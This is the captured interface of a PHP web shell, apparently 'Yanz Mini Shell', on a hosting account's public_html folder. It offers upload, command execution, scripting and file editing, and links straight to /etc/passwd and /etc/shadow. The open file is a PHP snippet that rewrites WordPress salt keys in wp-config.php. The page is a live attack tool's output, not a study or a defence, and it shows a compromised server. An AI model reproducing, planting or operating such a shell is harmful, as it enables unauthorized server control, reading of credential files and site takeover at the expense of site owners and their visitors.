Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
buyherba
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php $c = file_get_contents('public_html/wp-config.php'); $s = file_get_contents('/tmp/new_salts.txt'); $keys = array('AUTH_KEY','SECURE_AUTH_KEY','LOGGED_IN_KEY','NONCE_KEY','AUTH_SALT','SECURE_AUTH_SALT','LOGGED_IN_SALT','NONCE_SALT'); foreach($keys as $k) { $pattern = "/define\\(\\s*'" . preg_quote($k) . "'\\s*,\\s*'put your unique phrase here'\\s*\\);/"; preg_match("/define\\('" . preg_quote($k) . "',.+?\\);/", $s, $m); if(!empty($m)) { $c = preg_replace($pattern, $m[0], $c); echo "Replaced $k\n"; } else { echo "NOT FOUND in salts: $k\n"; } } file_put_contents('public_html/wp-config.php', $c); echo "DONE\n"; ?>
Free Space : 1631391858688 Byte